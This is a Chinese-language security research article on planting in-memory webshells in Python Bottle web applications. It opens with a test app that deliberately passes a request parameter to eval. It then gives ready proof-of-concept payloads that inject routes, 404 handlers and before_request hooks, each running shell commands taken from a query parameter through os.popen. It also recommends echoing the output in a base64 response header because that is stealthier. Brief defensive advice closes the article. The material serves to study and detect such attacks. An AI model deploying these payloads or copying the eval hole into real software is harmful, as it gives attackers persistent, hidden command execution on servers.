探寻Bottle框架内存马
字数 769 2025-08-22 12:23:47
Bottle框架内存马注入技术研究
0x00 环境搭建
- 安装Bottle框架:
pip3 install bottle
- 测试环境代码示例:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from bottle import template, Bottle, request, error
app = Bottle()
@error(404)
@app.route('/memshell')
def index():
result = eval(request.params.get('cmd'))
return template('Hello {{result}}, how are you?', result)
@app.route('/')
def index():
return 'Hello world'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=True)
0x01 Bottle路由规则分析
-
路由装饰器
@app.route()工作原理:- 接受path参数和callback回调函数
- 动态判断参数类型,自动交换path和callback角色
- 创建Route对象完成路由添加
-
关键代码流程:
route()函数处理参数- 创建装饰器
decorator函数 - 通过
add_route()方法完成路由注册
0x02 利用callback注入技术
-
使用lambda表达式替代传统函数定义:
app.route("/b", "GET", lambda: print(1)) -
验证方法:
- 访问
/b路由 - 观察控制台输出
- 访问
0x03 直接绑定路由注入法
- 完整POC:
app.route("/b", "GET", lambda: __import__('os').popen(request.params.get('a')).read())
- 替代方案:
app.route("%2Fb"%2C"GET"%2Clambda%20%3A__import__('os').popen(request.query.get('a')).read())
- 特点:
- 直接回显命令执行结果
- 无需额外回显点
0x04 错误页面利用法
-
错误处理机制分析:
@error()装饰器注册错误处理函数- 处理函数接收response对象和错误信息
-
注入POC:
app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())
- 触发方式:
- 访问不存在的路由触发404错误
0x05 Hook机制利用法
-
Hook类型:
- before_request: 请求前触发
- after_request: 请求后触发
- 其他内置hook事件
-
响应头回显POC:
app.add_hook('before_request',
lambda: __import__('bottle').response.set_header(
'X-flag',
__import__('base64').b64encode(
__import__('os').popen(
request.query.get('a')
).read().encode('utf-8')
).decode('utf-8')
)
)
- 利用abort函数回显POC:
app.add_hook('before_request',
lambda: __import__('bottle').abort(
404,
__import__('os').popen(request.query.get('a')).read()
)
)
- 注意事项:
- abort方法会触发异常,可能影响业务
- 建议使用响应头回显方式更隐蔽
防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 禁用危险函数如eval、exec等
-
安全配置:
- 生产环境关闭debug模式
- 限制路由注册权限
-
监控措施:
- 监控异常路由添加行为
- 检查响应头中的可疑字段
参考资源
- 天工实验室相关研究:https://research.qianxin.com/archives/2329
- Bottle框架官方文档
- Python安全编程最佳实践